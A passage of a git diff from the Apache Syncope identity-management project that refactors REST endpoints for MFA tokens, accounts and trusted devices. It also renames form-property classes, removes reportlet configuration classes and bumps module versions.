MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - void create(@NotNull @PathParam("owner") String owner, @NotNull GoogleMfaAuthAccount acct); + void create(@NotNull GoogleMfaAuthAccount acct); @PUT - @Path("accts/{owner}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - void update(@NotNull @PathParam("owner") String owner, @NotNull GoogleMfaAuthAccount acct); + void update(@NotNull GoogleMfaAuthAccount acct); - @GET + @DELETE @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("accts/{owner}") - PagedResult read(@NotNull @PathParam("owner") String owner); + @Path("{owner}") + void delete(@NotNull @PathParam("owner") String owner); - @GET - @Path("accts/id/{id}") + @DELETE @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - GoogleMfaAuthAccount read(@NotNull @PathParam("id") long id); + @Path("devices/{id}") + void delete(@NotNull @PathParam("id") long id); - @GET - @Path("accts") + @DELETE @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - PagedResult list(); + void deleteAll(); } diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthTokenService.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthTokenService.java index 053f9e25ca2..34af0937d57 100644 --- a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthTokenService.java +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/GoogleMfaAuthTokenService.java @@ -41,35 +41,34 @@ @SecurityRequirements({ @SecurityRequirement(name = "BasicAuthentication"), @SecurityRequirement(name = "Bearer") }) -@Path("wa/gauth") +@Path("wa/gauth/tokens") public interface GoogleMfaAuthTokenService extends JAXRSService { @DELETE - @Path("tokens") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void delete(@QueryParam("expirationDate") LocalDateTime expirationDate); @DELETE - @Path("tokens/{owner}/{otp}") + @Path("{owner}/{otp}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void delete(@NotNull @PathParam("owner") String owner, @NotNull @PathParam("otp") int otp); @DELETE - @Path("tokens/{owner}") + @Path("{owner}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void delete(@NotNull @PathParam("owner") String owner); @DELETE - @Path("tokens/otp/{otp}") + @Path("otp/{otp}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void delete(@NotNull @PathParam("otp") int otp); @PUT - @Path("tokens/{owner}") + @Path("{owner}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void store(@NotNull @PathParam("owner") String owner, @NotNull GoogleMfaAuthToken token); @@ -77,18 +76,17 @@ public interface GoogleMfaAuthTokenService extends JAXRSService { @GET @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("tokens/{owner}/{otp}") + @Path("{owner}/{otp}") GoogleMfaAuthToken read(@NotNull @PathParam("owner") String owner, @NotNull @PathParam("otp") int otp); @GET @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("tokens/{owner}") + @Path("{owner}") PagedResult read(@NotNull @PathParam("owner") String owner); @GET @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - @Path("tokens") PagedResult list(); } diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/MfaTrustStorageService.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/MfaTrustStorageService.java new file mode 100644 index 00000000000..872e7733d46 --- /dev/null +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/MfaTrustStorageService.java @@ -0,0 +1,62 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.rest.api.service.wa; + +import io.swagger.v3.oas.annotations.security.SecurityRequirement; +import io.swagger.v3.oas.annotations.security.SecurityRequirements; +import io.swagger.v3.oas.annotations.tags.Tag; +import javax.validation.constraints.NotNull; +import javax.ws.rs.BeanParam; +import javax.ws.rs.Consumes; +import javax.ws.rs.DELETE; +import javax.ws.rs.GET; +import javax.ws.rs.POST; +import javax.ws.rs.Path; +import javax.ws.rs.PathParam; +import javax.ws.rs.Produces; +import javax.ws.rs.core.MediaType; +import org.apache.syncope.common.lib.to.PagedResult; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; +import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.MfaTrustedDeviceQuery; +import org.apache.syncope.common.rest.api.service.JAXRSService; + +@Tag(name = "WA") +@SecurityRequirements({ + @SecurityRequirement(name = "BasicAuthentication"), + @SecurityRequirement(name = "Bearer") }) +@Path("wa/mfaTrustedDevice") +public interface MfaTrustStorageService extends JAXRSService { + + @GET + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + PagedResult search(@BeanParam MfaTrustedDeviceQuery query); + + @POST + @Path("{principal}") + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + void create(@NotNull @PathParam("principal") String principal, @NotNull MfaTrustedDevice device); + + @DELETE + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + void delete(@BeanParam MfaTrustedDeviceQuery query); +} diff --git a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/WAConfigService.java b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/WAConfigService.java index 548a9b32764..94c0da83fb1 100644 --- a/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/WAConfigService.java +++ b/common/am/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/wa/WAConfigService.java @@ -36,6 +36,7 @@ import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; +import javax.ws.rs.QueryParam; import javax.ws.rs.core.MediaType; import org.apache.syncope.common.lib.Attr; import org.apache.syncope.common.rest.api.RESTHeaders; @@ -51,6 +52,12 @@ @Path("wa/config") public interface WAConfigService extends JAXRSService { + enum PushSubject { + clientApps, + conf + + } + @GET @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @@ -95,10 +102,16 @@ public interface WAConfigService extends JAXRSService { @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) void delete(@NotNull @PathParam("schema") String schema); + /** + * Push to WA according to the provided parameters. + * + * @param subject what is to be triggered for refresh on WA + * @param services WA instances to trigger; all if none specified + */ @ApiResponses( @ApiResponse(responseCode = "204", description = "Operation was successful")) @POST - @Path("push") + @Path("push/{subject}") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - void pushToWA(); + void pushToWA(@NotNull @PathParam("subject") PushSubject subject, @QueryParam("service") List services); } diff --git a/common/idm/lib/pom.xml b/common/idm/lib/pom.xml index f4583caf1d4..e4a2c005221 100644 --- a/common/idm/lib/pom.xml +++ b/common/idm/lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-idm - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common IdM Lib diff --git a/common/idm/lib/src/main/java/org/apache/syncope/common/lib/to/ResourceTO.java b/common/idm/lib/src/main/java/org/apache/syncope/common/lib/to/ResourceTO.java index 9cfd0df430a..b1518cb1238 100644 --- a/common/idm/lib/src/main/java/org/apache/syncope/common/lib/to/ResourceTO.java +++ b/common/idm/lib/src/main/java/org/apache/syncope/common/lib/to/ResourceTO.java @@ -53,8 +53,6 @@ public class ResourceTO implements EntityTO { private Integer propagationPriority; - private boolean randomPwdIfNotProvided; - private boolean enforceMandatoryCondition; private TraceLevel createTraceLevel = TraceLevel.ALL; @@ -132,14 +130,6 @@ public void setPropagationPriority(final Integer propagationPriority) { this.propagationPriority = propagationPriority; } - public boolean isRandomPwdIfNotProvided() { - return randomPwdIfNotProvided; - } - - public void setRandomPwdIfNotProvided(final boolean randomPwdIfNotProvided) { - this.randomPwdIfNotProvided = randomPwdIfNotProvided; - } - public TraceLevel getCreateTraceLevel() { return createTraceLevel; } @@ -288,7 +278,6 @@ public boolean equals(final Object obj) { } ResourceTO other = (ResourceTO) obj; return new EqualsBuilder(). - append(randomPwdIfNotProvided, other.randomPwdIfNotProvided). append(enforceMandatoryCondition, other.enforceMandatoryCondition). append(overrideCapabilities, other.overrideCapabilities). append(key, other.key). @@ -324,7 +313,6 @@ public int hashCode() { append(provisions). append(orgUnit). append(propagationPriority). - append(randomPwdIfNotProvided). append(enforceMandatoryCondition). append(createTraceLevel). append(updateTraceLevel). diff --git a/common/idm/lib/src/main/java/org/apache/syncope/common/lib/types/IdMImplementationType.java b/common/idm/lib/src/main/java/org/apache/syncope/common/lib/types/IdMImplementationType.java index c39ee36dea5..16349a93b96 100644 --- a/common/idm/lib/src/main/java/org/apache/syncope/common/lib/types/IdMImplementationType.java +++ b/common/idm/lib/src/main/java/org/apache/syncope/common/lib/types/IdMImplementationType.java @@ -38,12 +38,12 @@ public final class IdMImplementationType { public static final String PROVISION_SORTER = "PROVISION_SORTER"; private static final Map VALUES = Map.ofEntries( - Pair.of(RECON_FILTER_BUILDER, "org.apache.syncope.core.persistence.api.dao.Reportlet"), + Pair.of(RECON_FILTER_BUILDER, "org.apache.syncope.core.provisioning.api.pushpull.ReconFilterBuilder"), Pair.of(PROPAGATION_ACTIONS, "org.apache.syncope.core.provisioning.api.propagation.PropagationActions"), Pair.of(PULL_ACTIONS, "org.apache.syncope.core.provisioning.api.pushpull.PullActions"), Pair.of(PUSH_ACTIONS, "org.apache.syncope.core.provisioning.api.pushpull.PushActions"), - Pair.of(PULL_CORRELATION_RULE, "org.apache.syncope.core.persistence.api.dao.PullCorrelationRule"), - Pair.of(PUSH_CORRELATION_RULE, "org.apache.syncope.core.persistence.api.dao.PushCorrelationRule"), + Pair.of(PULL_CORRELATION_RULE, "org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule"), + Pair.of(PUSH_CORRELATION_RULE, "org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule"), Pair.of(PROVISION_SORTER, "org.apache.syncope.core.provisioning.api.ProvisionSorter")); public static Map values() { diff --git a/common/idm/pom.xml b/common/idm/pom.xml index b76bb9c44c9..d758fbf9ec6 100644 --- a/common/idm/pom.xml +++ b/common/idm/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-common - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common IdM diff --git a/common/idm/rest-api/pom.xml b/common/idm/rest-api/pom.xml index 0b996b80b6f..1d2184f11b8 100644 --- a/common/idm/rest-api/pom.xml +++ b/common/idm/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-idm - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common IdM REST API diff --git a/common/idrepo/lib/pom.xml b/common/idrepo/lib/pom.xml index 229e982dc53..50e647d1f58 100644 --- a/common/idrepo/lib/pom.xml +++ b/common/idrepo/lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common IdRepo Lib diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/AnyOperations.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/AnyOperations.java index a7e9220f053..42e91163748 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/AnyOperations.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/AnyOperations.java @@ -179,7 +179,7 @@ public static AnyObjectUR diff( EntityTOUtils.buildRelationshipMap(original.getRelationships()); updatedRels.entrySet().stream(). - filter(entry -> (!originalRels.containsKey(entry.getKey()))). + filter(entry -> !originalRels.containsKey(entry.getKey())). forEach(entry -> result.getRelationships().add(new RelationshipUR.Builder(entry.getValue()). operation(PatchOperation.ADD_REPLACE).build())); @@ -198,12 +198,7 @@ public static AnyObjectUR diff( operation(PatchOperation.ADD_REPLACE).build(); diff(value, membershipPatch); - - if (!originalMembs.containsKey(key) - || (!membershipPatch.getPlainAttrs().isEmpty() || !membershipPatch.getVirAttrs().isEmpty())) { - - result.getMemberships().add(membershipPatch); - } + result.getMemberships().add(membershipPatch); }); if (!incremental) { @@ -290,7 +285,7 @@ public static UserUR diff(final UserTO updated, final UserTO original, final boo EntityTOUtils.buildRelationshipMap(original.getRelationships()); updatedRels.entrySet().stream(). - filter(entry -> (!originalRels.containsKey(entry.getKey()))). + filter(entry -> !originalRels.containsKey(entry.getKey())). forEach(entry -> result.getRelationships().add(new RelationshipUR.Builder(entry.getValue()). operation(PatchOperation.ADD_REPLACE).build())); @@ -309,12 +304,7 @@ public static UserUR diff(final UserTO updated, final UserTO original, final boo operation(PatchOperation.ADD_REPLACE).build(); diff(value, membershipPatch); - - if (!originalMembs.containsKey(key) - || (!membershipPatch.getPlainAttrs().isEmpty() || !membershipPatch.getVirAttrs().isEmpty())) { - - result.getMemberships().add(membershipPatch); - } + result.getMemberships().add(membershipPatch); }); if (!incremental) { diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/SyncopeProperties.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/SyncopeProperties.java index b3c365496bf..a5bfb44ed05 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/SyncopeProperties.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/SyncopeProperties.java @@ -18,7 +18,11 @@ */ package org.apache.syncope.common.lib; -public abstract class SyncopeProperties { +import java.io.Serializable; + +public abstract class SyncopeProperties implements Serializable { + + private static final long serialVersionUID = -2010397350183187681L; private String anonymousUser; diff --git a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestFormProperty.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormProperty.java similarity index 71% rename from ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestFormProperty.java rename to common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormProperty.java index 603e7fc34e6..dbf8745ef91 100644 --- a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestFormProperty.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormProperty.java @@ -16,18 +16,18 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.common.lib.to; +package org.apache.syncope.common.lib.form; import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; import java.io.Serializable; import java.util.ArrayList; import java.util.List; +import java.util.regex.Pattern; import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; -import org.apache.syncope.common.lib.types.UserRequestFormPropertyType; -public class UserRequestFormProperty implements Serializable { +public class FormProperty implements Serializable { private static final long serialVersionUID = 9139969592634304261L; @@ -35,7 +35,7 @@ public class UserRequestFormProperty implements Serializable { private String name; - private UserRequestFormPropertyType type; + private FormPropertyType type; private boolean readable; @@ -43,11 +43,17 @@ public class UserRequestFormProperty implements Serializable { private boolean required; + private Pattern stringRegEx; + private String datePattern; - private final List enumValues = new ArrayList<>(); + private final List enumValues = new ArrayList<>(); + + private final List dropdownValues = new ArrayList<>(); - private final List dropdownValues = new ArrayList<>(); + private boolean dropdownSingleSelection = true; + + private boolean dropdownFreeForm; private String value; @@ -83,11 +89,19 @@ public void setRequired(final boolean required) { this.required = required; } - public UserRequestFormPropertyType getType() { + public Pattern getStringRegEx() { + return stringRegEx; + } + + public void setStringRegEx(final Pattern stringRegEx) { + this.stringRegEx = stringRegEx; + } + + public FormPropertyType getType() { return type; } - public void setType(final UserRequestFormPropertyType type) { + public void setType(final FormPropertyType type) { this.type = type; } @@ -109,16 +123,32 @@ public void setDatePattern(final String datePattern) { @JacksonXmlElementWrapper(localName = "enumValues") @JacksonXmlProperty(localName = "enumValue") - public List getEnumValues() { + public List getEnumValues() { return enumValues; } @JacksonXmlElementWrapper(localName = "dropdownValues") @JacksonXmlProperty(localName = "dropdownValue") - public List getDropdownValues() { + public List getDropdownValues() { return dropdownValues; } + public boolean isDropdownSingleSelection() { + return dropdownSingleSelection; + } + + public void setDropdownSingleSelection(final boolean dropdownSingleSelection) { + this.dropdownSingleSelection = dropdownSingleSelection; + } + + public boolean isDropdownFreeForm() { + return dropdownFreeForm; + } + + public void setDropdownFreeForm(final boolean dropdownFreeForm) { + this.dropdownFreeForm = dropdownFreeForm; + } + public String getValue() { return value; } @@ -136,9 +166,12 @@ public int hashCode() { append(readable). append(writable). append(required). + append(stringRegEx). append(datePattern). append(enumValues). append(dropdownValues). + append(dropdownSingleSelection). + append(dropdownFreeForm). append(value). build(); } @@ -154,7 +187,7 @@ public boolean equals(final Object obj) { if (getClass() != obj.getClass()) { return false; } - UserRequestFormProperty other = (UserRequestFormProperty) obj; + FormProperty other = (FormProperty) obj; return new EqualsBuilder(). append(id, other.id). append(name, other.name). @@ -162,9 +195,12 @@ public boolean equals(final Object obj) { append(readable, other.readable). append(writable, other.writable). append(required, other.required). + append(stringRegEx, other.stringRegEx). append(datePattern, other.datePattern). append(enumValues, other.enumValues). append(dropdownValues, other.dropdownValues). + append(dropdownSingleSelection, other.dropdownSingleSelection). + append(dropdownFreeForm, other.dropdownFreeForm). append(value, other.value). build(); } diff --git a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/types/UserRequestFormPropertyType.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormPropertyType.java similarity index 91% rename from ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/types/UserRequestFormPropertyType.java rename to common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormPropertyType.java index 5cd31c79a70..a2ca54fdfe9 100644 --- a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/types/UserRequestFormPropertyType.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormPropertyType.java @@ -16,9 +16,9 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.common.lib.types; +package org.apache.syncope.common.lib.form; -public enum UserRequestFormPropertyType { +public enum FormPropertyType { String, Long, diff --git a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestFormPropertyValue.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormPropertyValue.java similarity index 89% rename from ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestFormPropertyValue.java rename to common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormPropertyValue.java index 3a166bc1635..2d9135cdac7 100644 --- a/ext/flowable/common-lib/src/main/java/org/apache/syncope/common/lib/to/UserRequestFormPropertyValue.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/FormPropertyValue.java @@ -16,7 +16,7 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.common.lib.to; +package org.apache.syncope.common.lib.form; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; @@ -24,7 +24,7 @@ import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; -public class UserRequestFormPropertyValue implements Serializable { +public class FormPropertyValue implements Serializable { private static final long serialVersionUID = 9139969597634304261L; @@ -33,7 +33,7 @@ public class UserRequestFormPropertyValue implements Serializable { private final String value; @JsonCreator - public UserRequestFormPropertyValue( + public FormPropertyValue( @JsonProperty("key") final String key, @JsonProperty("value") final String value) { @@ -68,7 +68,7 @@ public boolean equals(final Object obj) { if (getClass() != obj.getClass()) { return false; } - UserRequestFormPropertyValue other = (UserRequestFormPropertyValue) obj; + FormPropertyValue other = (FormPropertyValue) obj; return new EqualsBuilder(). append(key, other.key). append(value, other.value). diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/SyncopeForm.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/SyncopeForm.java new file mode 100644 index 00000000000..7ea4a1ee286 --- /dev/null +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/form/SyncopeForm.java @@ -0,0 +1,71 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.form; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; +import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.BaseBean; + +public class SyncopeForm implements BaseBean { + + private static final long serialVersionUID = 8388697351958834257L; + + private final List properties = new ArrayList<>(); + + @JsonIgnore + public Optional getProperty(final String id) { + return properties.stream().filter(property -> id.equals(property.getId())).findFirst(); + } + + @JacksonXmlElementWrapper(localName = "properties") + @JacksonXmlProperty(localName = "property") + public List getProperties() { + return properties; + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(properties). + build(); + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + SyncopeForm other = (SyncopeForm) obj; + return new EqualsBuilder(). + append(properties, other.properties). + build(); + } +} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/GroupReportletConf.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/GroupReportletConf.java deleted file mode 100644 index 15ff9cbe6bc..00000000000 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/GroupReportletConf.java +++ /dev/null @@ -1,97 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.common.lib.report; - -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; -import java.util.ArrayList; -import java.util.List; -import org.apache.syncope.common.lib.Schema; -import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.common.lib.types.SchemaType; - -public class GroupReportletConf extends AbstractAnyReportletConf { - - private static final long serialVersionUID = -8488503068032439699L; - - public enum Feature { - - key, - name, - groupOwner, - userOwner, - users, - resources - - } - - @Schema(anyTypeKind = AnyTypeKind.GROUP, type = { SchemaType.PLAIN }) - private final List plainAttrs = new ArrayList<>(); - - @Schema(anyTypeKind = AnyTypeKind.GROUP, type = { SchemaType.DERIVED }) - private final List derAttrs = new ArrayList<>(); - - @Schema(anyTypeKind = AnyTypeKind.GROUP, type = { SchemaType.VIRTUAL }) - private final List virAttrs = new ArrayList<>(); - - @SearchCondition(type = "GROUP") - protected String matchingCond; - - private final List features = new ArrayList<>(); - - public String getMatchingCond() { - return matchingCond; - } - - public void setMatchingCond(final String matchingCond) { - this.matchingCond = matchingCond; - } - - @JacksonXmlElementWrapper(localName = "plainAttrs") - @JacksonXmlProperty(localName = "plainAttr") - public List getPlainAttrs() { - return plainAttrs; - } - - @JacksonXmlElementWrapper(localName = "derAttrs") - @JacksonXmlProperty(localName = "derAttr") - public List getDerAttrs() { - return derAttrs; - } - - @JacksonXmlElementWrapper(localName = "virAttrs") - @JacksonXmlProperty(localName = "virAttr") - public List getVirAttrs() { - return virAttrs; - } - - public GroupReportletConf() { - super(); - } - - public GroupReportletConf(final String name) { - super(name); - } - - @JacksonXmlElementWrapper(localName = "features") - @JacksonXmlProperty(localName = "feature") - public List getFeatures() { - return features; - } -} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReconciliationReportletConf.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReconciliationReportletConf.java deleted file mode 100644 index e2fb8f40211..00000000000 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/ReconciliationReportletConf.java +++ /dev/null @@ -1,92 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.common.lib.report; - -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlElementWrapper; -import com.fasterxml.jackson.dataformat.xml.annotation.JacksonXmlProperty; -import java.util.ArrayList; -import java.util.List; - -public class ReconciliationReportletConf extends AbstractReportletConf { - - private static final long serialVersionUID = 6602717600064602764L; - - public enum Feature { - - key, - username, - groupName, - status, - creationDate, - lastLoginDate, - changePwdDate, - passwordHistorySize, - failedLoginCount; - - } - - @SearchCondition(type = "USER") - private String userMatchingCond; - - @SearchCondition(type = "GROUP") - private String groupMatchingCond; - - @SearchCondition(type = "") - private String anyObjectMatchingCond; - - private final List features = new ArrayList<>(); - - public ReconciliationReportletConf() { - super(); - } - - public ReconciliationReportletConf(final String name) { - super(name); - } - - public String getUserMatchingCond() { - return userMatchingCond; - } - - public void setUserMatchingCond(final String userMatchingCond) { - this.userMatchingCond = userMatchingCond; - } - - public String 